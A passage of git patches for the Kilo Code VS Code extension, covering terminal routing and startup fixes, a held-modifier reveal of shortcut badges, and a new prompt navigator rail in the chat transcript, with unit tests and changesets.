every window and echoed back via `terminal.destinationChanged` + * whenever ANY window rewrites it. Two windows can therefore fight: + * picking "VS Code terminal" in worktree window B would silently flip + * the routing of the panel in window A. To keep each panel consistent, + * an explicit dropdown pick is stored per panel (webview state) and + * wins over remote echoes; the setting only drives panels that never + * picked a destination themselves (it stays the default for new ones). */ import { createSignal } from "solid-js" import type { Accessor } from "solid-js" import type { TerminalDestination } from "../../src/types/messages/agent-manager" +import { LOCAL } from "../navigate" + +/** Read the panel-local destination choice from raw webview state. */ +export function readSavedDestination(state: Record | undefined): TerminalDestination | undefined { + const value = state?.terminalDestination + return value === "agentManager" || value === "vscode" ? value : undefined +} + +export type VscodeTerminalRequest = + | { type: "agentManager.showTerminal"; sessionId: string } + | { type: "agentManager.showWorktreeTerminal"; worktreeId: string } + | { type: "agentManager.showLocalTerminal" } + +/** + * Pick the message the terminal button / Focus Terminal shortcut sends + * when the destination is the VS Code integrated terminal. The fallback + * chain exists so the shortcut never dead-ends: activating a terminal + * tab clears the current session, and a worktree may have no sessions + * at all. Extracted from AgentManagerApp.tsx (max-lines cap). + */ +export function resolveVscodeTerminalRequest( + selection: string | null, + currentSessionID: string | undefined, + sessionForWorktree: (worktreeId: string) => string | undefined, +): VscodeTerminalRequest { + const id = currentSessionID ?? (selection && selection !== LOCAL ? sessionForWorktree(selection) : undefined) + if (id) return { type: "agentManager.showTerminal", sessionId: id } + if (selection && selection !== LOCAL) return { type: "agentManager.showWorktreeTerminal", worktreeId: selection } + return { type: "agentManager.showLocalTerminal" } +} interface Handlers { requestSide(): void @@ -32,10 +73,16 @@ export interface SideTerminalDeps { track: (button: string, surface: string, properties: Record) => void /** Open or focus the VS Code integrated terminal for the active context. */ openVscode: () => void + /** Panel-local choice restored from webview state, if the user ever + * picked one in this panel. */ + saved: TerminalDestination | undefined + /** Persist the panel-local choice so it survives webview reloads. */ + save: (destination: TerminalDestination) => void } export function createSideTerminal(deps: SideTerminalDeps) { - const [destination, setDestination] = createSignal("vscode") + const [local, setLocal] = createSignal(deps.saved) + const [destination, setDestination] = createSignal(deps.saved ?? "vscode") /** * Hiding while the terminal holds focus would strand the cursor on @@ -78,17 +125,32 @@ export function createSideTerminal(deps: SideTerminalDeps) { } /** - * Dropdown pick. Applied locally right away so the button reacts - * without a round trip, then persisted as a VS Code setting; the - * extension echoes it back via `terminal.destinationChanged`. + * Dropdown pick. The choice is panel-local and sticky: it is kept in + * webview state and beats later `terminal.destinationChanged` echoes + * caused by other windows rewriting the shared application-scoped + * setting. The setting is still written so it stays the default for + * panels that never picked a destination (and new panels). * The key is relative to the `kilo-code.new` section, matching every * other `updateSetting` sender. */ const choose = (target: TerminalDestination) => { deps.track("terminal_destination", "tab_toolbar", { destination: target }) + setLocal(target) setDestination(target) + deps.save(target) deps.postMessage({ type: "updateSetting", key: "agentManager.terminalButtonDestination", value: target }) } - return { destination, setDestination, toggle, close, openPreferred, choose } + /** + * Apply a remote default (initial `agentManager.state` payload or a + * live `terminal.destinationChanged` echo). Ignored once the user + * picked a destination in this panel — their choice wins over every + * echo, including ones triggered by this panel's own `choose` write. + */ + const syncDefault = (target: TerminalDestination) => { + if (local()) return + setDestination(target) + } + + return { destination, syncDefault, toggle, close, openPreferred, choose } } diff --git a/packages/kilo-vscode/webview-ui/src/types/messages/webview-messages.ts b/packages/kilo-vscode/webview-ui/src/types/messages/webview-messages.ts index 16fcfe59e5..f5dc4a2035 100644 --- a/packages/kilo-vscode/webview-ui/src/types/messages/webview-messages.ts +++ b/packages/kilo-vscode/webview-ui/src/types/messages/webview-messages.ts @@ -695,6 +695,12 @@ export interface ShowLocalTerminalRequest { type: "agentManager.showLocalTerminal" } +// Show a terminal rooted at a worktree directory (worktree has no session) +export interface ShowWorktreeTerminalRequest { + type: "agentManager.showWorktreeTerminal" + worktreeId: string +} + // Open a worktree directory in VS Code export interface OpenWorktreeRequest { type: "agentManager.openWorktree" @@ -1336,6 +1342,7 @@ export type WebviewMessage = | StopRunScriptRequest | ShowTerminalRequest | ShowLocalTerminalRequest + | ShowWorktreeTerminalRequest | OpenWorktreeRequest | CopyToClipboardRequest | ShowExistingLocalTerminalRequest From a7f972f63bc948d70b73a36a5beab6d694316037 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 10:31:22 +0200 Subject: [PATCH 015/100] fix(vscode): speed up embedded terminal startup and fix cold-connection race (#12630) Replay retained PTY startup bytes from cursor 0 on initial xterm attachment so shells receive capability queries emitted before the WebSocket connected. Fish previously waited ~2s for a terminal capability response that xterm never saw, then displayed the prompt. Local terminal creation no longer waits for unrelated Agent Manager worktree recovery, and now joins the shared backend connection via getClientAsync instead of racing the synchronous getClient accessor, which could fail with 'Not connected' during cold kilo serve startup. Worktree terminals still gate on state recovery since they need the recovered worktree path. --- .changeset/fast-agent-manager-terminals.md | 5 +++ .../src/agent-manager/AgentManagerProvider.ts | 4 +- .../src/agent-manager/terminal-routing.ts | 10 ++++- .../unit/agent-manager-terminal-font.test.ts | 2 + .../agent-manager-terminal-routing.test.ts | 44 +++++++++++++++++++ 5 files changed, 63 insertions(+), 2 deletions(-) create mode 100644 .changeset/fast-agent-manager-terminals.md diff --git a/.changeset/fast-agent-manager-terminals.md b/.changeset/fast-agent-manager-terminals.md new file mode 100644 index 0000000000..6beace30f4 --- /dev/null +++ b/.changeset/fast-agent-manager-terminals.md @@ -0,0 +1,5 @@ +--- +"kilo-code": patch +--- + +Open Agent Manager terminals faster and avoid delayed shell prompts. diff --git a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts index e92438bd52..e8e668b4b5 100644 --- a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts +++ b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts @@ -103,6 +103,7 @@ export class AgentManagerProvider implements Disposable { ) this.terminalRouter = new TerminalRouter({ getClient: () => this.connectionService.getClient(), + getClientAsync: () => this.connectionService.getClientAsync(this.getRoot()), getServerConfig: () => this.connectionService.getServerConfig() ?? undefined, getRoot: () => this.getRoot(), getWorktreePath: (id) => this.getStateManager()?.getWorktree(id)?.path, @@ -917,8 +918,9 @@ export class AgentManagerProvider implements Disposable { case "agentManager.toggleSectionCollapsed": case "agentManager.moveToSection": case "agentManager.moveSection": - case "agentManager.terminal.create": return true + case "agentManager.terminal.create": + return m.worktreeId !== null default: return false } diff --git a/packages/kilo-vscode/src/agent-manager/terminal-routing.ts b/packages/kilo-vscode/src/agent-manager/terminal-routing.ts index 566952f9b2..3fef7352ed 100644 --- a/packages/kilo-vscode/src/agent-manager/terminal-routing.ts +++ b/packages/kilo-vscode/src/agent-manager/terminal-routing.ts @@ -26,6 +26,8 @@ interface ServerConfig { export interface TerminalRoutingDeps { /** Shared SDK client. Throws when the CLI backend is not connected. */ getClient(): KiloClient + /** Shared SDK client, connecting the CLI backend when needed. */ + getClientAsync(): Promise /** Loopback URL + basic-auth password for the running `kilo serve`. */ getServerConfig(): ServerConfig | undefined /** Workspace root — used as cwd fallback when no worktree is selected (LOCAL). */ @@ -119,6 +121,9 @@ export class TerminalRouter { } const title = `Terminal ${this.nextOrdinal(worktreeId)}` try { + // Join the shared backend connection instead of racing its synchronous + // client accessor when this is the first Kilo action in the window. + await this.deps.getClientAsync() const created = await manager.create({ worktreeId, cwd, title }) if (generation !== this.generation) { await manager.close(created.terminalId) @@ -182,6 +187,9 @@ export class TerminalRouter { const token = Buffer.from(`kilo:${config.password}`).toString("base64") const dir = encodeURIComponent(cwd) const auth = encodeURIComponent(token) - return `${base}/pty/${encodeURIComponent(ptyID)}/connect?directory=${dir}&cursor=-1&auth_token=${auth}` + // A new terminal has one initial attachment. Replay its retained startup + // bytes so xterm can answer shell capability queries emitted before the + // WebSocket connected; tailing from -1 can make shells wait for a timeout. + return `${base}/pty/${encodeURIComponent(ptyID)}/connect?directory=${dir}&cursor=0&auth_token=${auth}` } } diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-font.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-font.test.ts index 64504d2600..02b7fffe27 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-font.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-font.test.ts @@ -53,6 +53,7 @@ describe("Agent Manager terminal font", () => { const message = new Promise((resolve) => { const router = new TerminalRouter({ getClient: () => client, + getClientAsync: async () => client, getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), getRoot: () => "/workspace", getWorktreePath: () => undefined, @@ -77,6 +78,7 @@ describe("Agent Manager terminal font", () => { expect(created.font).toEqual(font) expect(created.worktreeId).toBeNull() expect(created.wsUrl).toContain("/pty/pty-1/connect") + expect(created.wsUrl).toContain("cursor=0") }) it("keeps the created font in terminal state", () => { diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts index bfa243d1fc..ffa58bd6db 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts @@ -21,6 +21,7 @@ describe("Agent Manager terminal routing", () => { } as unknown as KiloClient const router = new TerminalRouter({ getClient: () => client, + getClientAsync: async () => client, getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), getRoot: () => "/workspace", getWorktreePath: (id) => (id === "wt-1" ? "/workspace/wt-1" : undefined), @@ -78,6 +79,7 @@ describe("Agent Manager terminal routing", () => { } as unknown as KiloClient const router = new TerminalRouter({ getClient: () => client, + getClientAsync: async () => client, getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), getRoot: () => "/workspace", getWorktreePath: () => undefined, @@ -108,4 +110,46 @@ describe("Agent Manager terminal routing", () => { await router.dispose() expect(removed).toContain("pty-new") }) + + it("awaits the shared backend connection before creating a terminal", async () => { + let connected = false + const client = { + pty: { + create: async () => ({ data: { id: "pty-1", title: "Terminal 1" } }), + remove: async () => ({ data: true }), + update: async () => ({ data: true }), + }, + } as unknown as KiloClient + const router = new TerminalRouter({ + getClient: () => { + if (!connected) throw new Error("Not connected") + return client + }, + getClientAsync: async () => { + await wait() + connected = true + return client + }, + getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), + getRoot: () => "/workspace", + getWorktreePath: () => undefined, + log: () => undefined, + post: (message) => messages.push(message), + getTerminalFont: () => font, + }) + + const messages: AgentManagerOutMessage[] = [] + router.handle({ + type: "agentManager.terminal.create", + createId: "real", + placement: "tab", + worktreeId: null, + }) + expect(messages).toHaveLength(0) + await wait() + await wait() + + expect(messages[0]).toMatchObject({ type: "agentManager.terminal.created", createId: "real" }) + await router.dispose() + }) }) From 3321216c0157e1a8a1829b0c8e0a1cae8d2f2ad2 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 10:31:40 +0200 Subject: [PATCH 016/100] feat(agent-manager): reveal jump shortcut badges while modifier is held (#12631) --- .../agent-manager-modifier-shortcut-peek.md | 5 +++++ .../agent-manager/AgentManagerApp.tsx | 19 ++++++++++++++++++- .../agent-manager/agent-manager.css | 19 +++++++++++++++++++ 3 files changed, 42 insertions(+), 1 deletion(-) create mode 100644 .changeset/agent-manager-modifier-shortcut-peek.md diff --git a/.changeset/agent-manager-modifier-shortcut-peek.md b/.changeset/agent-manager-modifier-shortcut-peek.md new file mode 100644 index 0000000000..96ee306f0c --- /dev/null +++ b/.changeset/agent-manager-modifier-shortcut-peek.md @@ -0,0 +1,5 @@ +--- +"kilo-code": minor +--- + +Show the ⌘1-9 (Ctrl+1-9 on Windows/Linux) shortcut badges on every Agent Manager sidebar card while the modifier key is held, making it easy to see which number jumps to which worktree before pressing it. diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index ff783f0495..44b7e57832 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -243,6 +243,8 @@ const AgentManagerContent: Component = () => { const [repoBranch, setRepoBranch] = createSignal() const [busyWorktrees, setBusyWorktrees] = createSignal>(new Map()) const [staleWorktreeIds, setStaleWorktreeIds] = createSignal>(new Set()) + /** True while the ⌘/Ctrl jump modifier is held — reveals the ⌘1-9 badges on all sidebar items. */ + const [held, setHeld] = createSignal(false) const [worktreesLoaded, setWorktreesLoaded] = createSignal(false) const [sessionsLoaded, setSessionsLoaded] = createSignal(false) const [isGitRepo, setIsGitRepo] = createSignal(true) @@ -1209,6 +1211,18 @@ const AgentManagerContent: Component = () => { } window.addEventListener("keydown", deleteKeyHandler) + // Reveal the ⌘/Ctrl+1-9 jump badges on all sidebar items while the modifier is held. + // Capture phase so the terminal's key handlers can't swallow them; blur resets state + // when the keyup is lost (e.g. Cmd+Tab away). + const modifier = isMac ? "Meta" : "Control" + const modTrack = (e: KeyboardEvent) => { + if (e.key === modifier) setHeld(e.type === "keydown") + } + const modReset = () => setHeld(false) + window.addEventListener("keydown", modTrack, true) + window.addEventListener("keyup", modTrack, true) + window.addEventListener("blur", modReset) + // When the panel regains focus (e.g. returning from terminal), focus the prompt // and clear any stale body styles left by Kobalte modal overlays (dropdowns/dialogs // set pointer-events:none and overflow:hidden on body, but cleanup never runs if @@ -1580,6 +1594,9 @@ const AgentManagerContent: Component = () => { window.removeEventListener("message", handler) window.removeEventListener("keydown", preventDefaults, true) window.removeEventListener("keydown", deleteKeyHandler) + window.removeEventListener("keydown", modTrack, true) + window.removeEventListener("keyup", modTrack, true) + window.removeEventListener("blur", modReset) window.removeEventListener("focus", onWindowFocus) window.removeEventListener("newTaskRequest", newTaskHandler, true) drafts.cleanup() @@ -2277,7 +2294,7 @@ const AgentManagerContent: Component = () => { >
diff --git a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css index 6cfde9cf3b..59499350a7 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css +++ b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css @@ -426,6 +426,25 @@ button.am-section-toggle:hover .am-section-label { color: var(--text-weak); } +/* Jump modifier held (⌘/Ctrl): reveal shortcut badges on every item, not just the + hovered one. Scoped via :has so items without a badge (beyond ⌘9) keep their stats. + The close button stays hidden so holding the modifier never exposes the delete action. */ +.am-show-shortcuts .am-wt-hover-actions:has(.am-shortcut-badge) { + opacity: 1; + visibility: visible; +} +.am-show-shortcuts .am-wt-hover-actions .am-worktree-close { + display: none; +} +.am-show-shortcuts .am-wt-actions-cell:has(.am-shortcut-badge) > .am-worktree-stats, +.am-show-shortcuts .am-wt-actions-cell:has(.am-shortcut-badge) > .am-worktree-stats-skeleton { + opacity: 0; + visibility: hidden; +} +.am-show-shortcuts .am-local-item .am-shortcut-badge { + opacity: 1; +} + .am-worktree-item:has(.am-worktree-rename-input) .am-wt-row2 { display: none; } From 0d853df3ec338ac99e025939f74136dec6d9daa1 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 10:35:45 +0200 Subject: [PATCH 017/100] feat(vscode): add prompt navigator rail to chat transcript (#12632) * feat(vscode): add prompt navigator rail to chat transcript * chore: update kilo-vscode visual regression baselines --------- Co-authored-by: kilo-maintainer[bot] --- .changeset/prompt-rail.md | 5 + ...rompt-rail-many-prompts-chromium-linux.png | 3 + .../prompt-rail-sidebar-chromium-linux.png | 3 + .../chat/prompt-rail-wide-chromium-linux.png | 3 + .../tests/unit/prompt-rail.test.ts | 192 +++++++++++++++ .../src/components/chat/MessageList.tsx | 81 ++++++- .../src/components/chat/PromptRail.tsx | 223 ++++++++++++++++++ .../src/components/chat/prompt-rail.ts | 98 ++++++++ .../kilo-vscode/webview-ui/src/i18n/ar.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/br.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/bs.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/da.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/de.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/en.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/es.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/fr.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/it.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/ja.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/ko.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/nl.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/no.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/pl.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/ru.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/th.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/tr.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/uk.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/zh.ts | 4 + .../kilo-vscode/webview-ui/src/i18n/zht.ts | 4 + .../webview-ui/src/stories/chat.stories.tsx | 135 +++++++++++ .../webview-ui/src/styles/chat.css | 1 + .../webview-ui/src/styles/prompt-rail.css | 213 +++++++++++++++++ 31 files changed, 1028 insertions(+), 9 deletions(-) create mode 100644 .changeset/prompt-rail.md create mode 100644 packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-many-prompts-chromium-linux.png create mode 100644 packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-sidebar-chromium-linux.png create mode 100644 packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-wide-chromium-linux.png create mode 100644 packages/kilo-vscode/tests/unit/prompt-rail.test.ts create mode 100644 packages/kilo-vscode/webview-ui/src/components/chat/PromptRail.tsx create mode 100644 packages/kilo-vscode/webview-ui/src/components/chat/prompt-rail.ts create mode 100644 packages/kilo-vscode/webview-ui/src/styles/prompt-rail.css diff --git a/.changeset/prompt-rail.md b/.changeset/prompt-rail.md new file mode 100644 index 0000000000..69ab09abab --- /dev/null +++ b/.changeset/prompt-rail.md @@ -0,0 +1,5 @@ +--- +"kilo-code": minor +--- + +Add a prompt navigator rail to the chat transcript. A thin rail of ticks on the left edge shows one tick per prompt you sent; hovering or focusing it expands a card listing those prompts with a short preview of the answer, and clicking jumps the transcript to that turn. It appears in the sidebar, Kilo editor tabs, the sub-agent viewer, and Agent Manager, and never changes the readable width of the chat. diff --git a/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-many-prompts-chromium-linux.png b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-many-prompts-chromium-linux.png new file mode 100644 index 0000000000..df4e9c7068 --- /dev/null +++ b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-many-prompts-chromium-linux.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:51adb9e31ce0bc82981b0f20f895ce4ede3f92828546115f929942ef93bf0812 +size 11204 diff --git a/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-sidebar-chromium-linux.png b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-sidebar-chromium-linux.png new file mode 100644 index 0000000000..94024986cd --- /dev/null +++ b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-sidebar-chromium-linux.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c5658ed9e5266311c4239b7cd470d2f772d1cc0b3fd6c6b00337d4f3141a3a4d +size 11950 diff --git a/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-wide-chromium-linux.png b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-wide-chromium-linux.png new file mode 100644 index 0000000000..07e3e945ef --- /dev/null +++ b/packages/kilo-docs/public/img/screenshot-tests/kilo-vscode/visual-regression/chat/prompt-rail-wide-chromium-linux.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:095ed97dc46498be6fd75483b24357ac0740b6f2c1544f6c103a1dac360e1a7e +size 11202 diff --git a/packages/kilo-vscode/tests/unit/prompt-rail.test.ts b/packages/kilo-vscode/tests/unit/prompt-rail.test.ts new file mode 100644 index 0000000000..d9854b5226 --- /dev/null +++ b/packages/kilo-vscode/tests/unit/prompt-rail.test.ts @@ -0,0 +1,192 @@ +import { describe, expect, it } from "bun:test" +import { messageTurns } from "../../webview-ui/src/context/session-queue" +import { transcriptRows } from "../../webview-ui/src/context/transcript-rows" +import type { Message, Part, TextPart } from "../../webview-ui/src/types/messages" +import { capacity, previewText, promptItems, railItems } from "../../webview-ui/src/components/chat/prompt-rail" + +const base = { + sessionID: "session", + createdAt: "2026-01-01T00:00:00.000Z", + time: { created: 1 }, +} + +const user = (id: string, opts: Partial = {}): Message => ({ ...base, id, role: "user", ...opts }) +const assistant = (id: string, parentID: string, opts: Partial = {}): Message => ({ + ...base, + id, + parentID, + role: "assistant", + ...opts, +}) +const text = (id: string, messageID: string, value: string, opts: Partial = {}): Part => ({ + id, + messageID, + type: "text", + text: value, + ...opts, +}) +const tool = (id: string, messageID: string, title: string): Part => ({ + id, + messageID, + type: "tool", + tool: "bash", + state: { status: "completed", input: {}, output: "", title }, +}) +const lookup = (values: Record) => (id: string) => values[id] ?? [] + +describe("previewText", () => { + it("collapses whitespace and keeps plain text", () => { + expect(previewText(" hello\n\nworld ")).toBe("hello world") + }) + + it("drops fenced code blocks and inline code", () => { + expect(previewText("before `const x = 1` after\n```\nconst y = 2\n```\nend")).toBe("before after end") + }) + + it("keeps link labels but drops URLs and images", () => { + expect(previewText("see [the docs](https://example.com) and ![shot](img.png) now")).toBe("see the docs and now") + }) + + it("keeps bracket text inside inline code literal", () => { + expect(previewText("echo `[label](url)` verbatim")).toBe("echo verbatim") + }) + + it("strips heading, list, and quote markers", () => { + expect(previewText("# Title\n- one\n> two\nthree")).toBe("Title one two three") + }) +}) + +describe("promptItems", () => { + it("emits one item per non-partial user turn with prompt and answer", () => { + const u1 = user("u1") + const a1 = assistant("a1", "u1") + const u2 = user("u2") + const a2 = assistant("a2", "u2") + const parts = { + u1: [text("up1", "u1", "add authentication")], + a1: [text("ap1", "a1", "Done, auth is wired up.")], + u2: [text("up2", "u2", "now fix the bug")], + a2: [text("ap2", "a2", "Fixed it.")], + } + const rows = transcriptRows(messageTurns([u1, a1, u2, a2]), lookup(parts)) + + const items = promptItems(rows) + + expect(items).toEqual([ + { key: "u1:user", turn: "u1", queued: false, prompt: "add authentication", answer: "Done, auth is wired up." }, + { key: "u2:user", turn: "u2", queued: false, prompt: "now fix the bug", answer: "Fixed it." }, + ]) + }) + + it("keeps assistant chunks of one turn joined", () => { + const u1 = user("u1") + const a1 = assistant("a1", "u1") + const parts = { + u1: [text("up1", "u1", "go")], + a1: [text("ap1", "a1", "First."), text("ap2", "a1", "Second.")], + } + const rows = transcriptRows(messageTurns([u1, a1]), lookup(parts)) + + expect(promptItems(rows)[0]?.answer).toBe("First. Second.") + }) + + it("skips synthetic parts and leaves an empty answer for tool-only turns", () => { + const u1 = user("u1") + const a1 = assistant("a1", "u1") + const parts = { + u1: [text("up1", "u1", "run it"), text("up2", "u1", "internal", { synthetic: true })], + a1: [tool("at1", "a1", "Run tests"), text("at2", "a1", "hidden", { synthetic: true })], + } + const rows = transcriptRows(messageTurns([u1, a1]), lookup(parts)) + + expect(promptItems(rows)[0]).toMatchObject({ prompt: "run it", answer: "" }) + }) + + it("marks queued rows", () => { + const u1 = user("u1") + const u2 = user("u2") + const rows = transcriptRows(messageTurns([u1, u2]), lookup({}), { queued: new Set(["u2"]) }) + + expect(promptItems(rows).map((item) => item.queued)).toEqual([false, true]) + }) + + it("truncates long prompts and answers", () => { + const u1 = user("u1") + const a1 = assistant("a1", "u1") + const parts = { + u1: [text("up1", "u1", "x".repeat(400))], + a1: [text("ap1", "a1", "y".repeat(400))], + } + const rows = transcriptRows(messageTurns([u1, a1]), lookup(parts)) + + const [item] = promptItems(rows) + expect(item!.prompt.length).toBe(160) + expect(item!.prompt.endsWith("…")).toBe(true) + expect(item!.answer.length).toBe(220) + expect(item!.answer.endsWith("…")).toBe(true) + }) + + it("omits partial turns (assistant-only leads)", () => { + const a1 = assistant("a1", "u1") + const rows = transcriptRows(messageTurns([a1]), lookup({ a1: [text("p1", "a1", "hello")] })) + + expect(promptItems(rows)).toEqual([]) + }) + + it("promotes the answer when the prompt carries no text (image-only message)", () => { + const u1 = user("u1") + const a1 = assistant("a1", "u1") + const parts = { + u1: [{ id: "up1", messageID: "u1", type: "file", mime: "image/png", url: "data:," } as Part], + a1: [text("ap1", "a1", "That screenshot shows the rail overlapping the gutter.")], + } + const rows = transcriptRows(messageTurns([u1, a1]), lookup(parts)) + + expect(promptItems(rows)[0]).toMatchObject({ + prompt: "That screenshot shows the rail overlapping the gutter.", + answer: "", + }) + }) + + it("leaves both empty when neither prompt nor answer has text", () => { + const u1 = user("u1") + const rows = transcriptRows(messageTurns([u1]), lookup({})) + + expect(promptItems(rows)[0]).toMatchObject({ prompt: "", answer: "" }) + }) +}) + +describe("capacity", () => { + it("counts how many worst-case rows fit the transcript height", () => { + expect(capacity(24 + 76 * 5)).toBe(5) + expect(capacity(100)).toBe(1) + }) + + it("returns nothing usable for unmeasured or tiny transcripts", () => { + expect(capacity(0)).toBeLessThan(1) + expect(capacity(99)).toBeLessThan(1) + }) +}) + +describe("railItems", () => { + const items = Array.from({ length: 5 }, (_, i) => ({ + key: `k${i}`, + turn: `t${i}`, + queued: false, + prompt: `p${i}`, + answer: `a${i}`, + })) + + it("passes through when everything fits", () => { + expect(railItems(items, 5)).toEqual(items) + expect(railItems(items, 10)).toEqual(items) + }) + + it("keeps the newest items when capacity is smaller", () => { + expect(railItems(items, 2)).toEqual(items.slice(-2)) + }) + + it("returns nothing at zero capacity", () => { + expect(railItems(items, 0)).toEqual([]) + }) +}) diff --git a/packages/kilo-vscode/webview-ui/src/components/chat/MessageList.tsx b/packages/kilo-vscode/webview-ui/src/components/chat/MessageList.tsx index 40e0b72876..d2daa6389b 100644 --- a/packages/kilo-vscode/webview-ui/src/components/chat/MessageList.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/chat/MessageList.tsx @@ -70,6 +70,8 @@ import { type TranscriptHold, type TranscriptRow, } from "../../context/transcript-rows" +import { PromptRail } from "./PromptRail" +import { capacity, promptItems, railItems, type PromptRailItem } from "./prompt-rail" import { onTimelineHighlight, type TimelineHighlight } from "../../utils/timeline/highlight" import { useTranscriptSearch, type SearchMatch } from "../../context/transcript-search" import { applyTranscriptHighlights, clearTranscriptHighlights } from "./transcript-search-highlight" @@ -164,6 +166,8 @@ export const MessageList: Component = (props) => { const [scrollEl, setScrollEl] = createSignal() const [virtualizer, setVirtualizer] = createSignal() const [layout, setLayout] = createSignal("") + // Transcript height, kept reactive so the prompt rail re-caps on resize. + const [height, setHeight] = createSignal(0) const revert = () => session.revert() ?? undefined const turns = createMemo((prev: MessageTurn[] | undefined) => @@ -944,6 +948,21 @@ export const MessageList: Component = (props) => { const keys = createMemo(() => partition().virtual.map((row) => row.key)) const fingerprint = createMemo(() => rowFingerprint(keys())) + // Scrolls the transcript to a row by key. Virtualized rows jump through + // the virtualizer; direct/live/queued rows are mounted, so they use + // scrollIntoView. Pauses auto-follow first so the jump isn't snapped back. + const jump = (key: string) => { + autoScroll.pause() + const index = keys().indexOf(key) + if (index >= 0) { + virtualizer()?.scrollToIndex(index, { align: "start" }) + return + } + const el = scrollEl() + const target = el?.querySelector(`[data-row-key="${CSS.escape(key)}"]`) + target?.scrollIntoView({ block: "start" }) + } + // Clicking a bar in the task timeline scrolls the transcript to that message. // Jumps land instantly (no smooth animation): while pinned at the bottom, a // smooth scroll's initial frames sit within createAutoScroll's near-bottom @@ -956,19 +975,50 @@ export const MessageList: Component = (props) => { // actually contains the clicked part, not just the message's first chunk. const row = matches.find((r) => r.type === "assistant" && r.parts.some((p) => p.id === detail.partId)) ?? matches[0] if (!row) return - autoScroll.pause() - const index = keys().indexOf(row.key) - if (index >= 0) { - virtualizer()?.scrollToIndex(index, { align: "start" }) - return - } - const el = scrollEl() - const target = el?.querySelector(`[data-row-key="${CSS.escape(row.key)}"]`) - target?.scrollIntoView({ block: "start" }) + jump(row.key) } window.addEventListener("scrollToMessage", onScrollToMessage) onCleanup(() => window.removeEventListener("scrollToMessage", onScrollToMessage)) + // Prompt rail: one tick per user prompt, positioned to the left of the + // readable lane, opening a card of prompt/answer previews on hover. + const items = createMemo(() => promptItems(rows())) + // Until the transcript is measured there is no height to cap against, and + // rendering every prompt would spill ticks past the rail on long sessions. + const shown = createMemo(() => railItems(items(), capacity(height()))) + const [activeTurn, setActiveTurn] = createSignal() + const railActiveKey = createMemo(() => shown().find((item) => item.turn === activeTurn())?.key) + + const trackActive = () => { + const list = shown() + if (list.length === 0) return setActiveTurn(undefined) + const handle = virtualizer() + const offset = handle?.scrollOffset + if (handle && offset !== undefined && offset > 1) { + const row = partition().virtual[handle.findItemIndex(offset)] + if (row) return setActiveTurn(row.turn) + } + setActiveTurn(list.at(-1)?.turn) + } + let activeFrame: number | undefined + const scheduleActive = () => { + if (activeFrame !== undefined) return + activeFrame = requestAnimationFrame(() => { + activeFrame = undefined 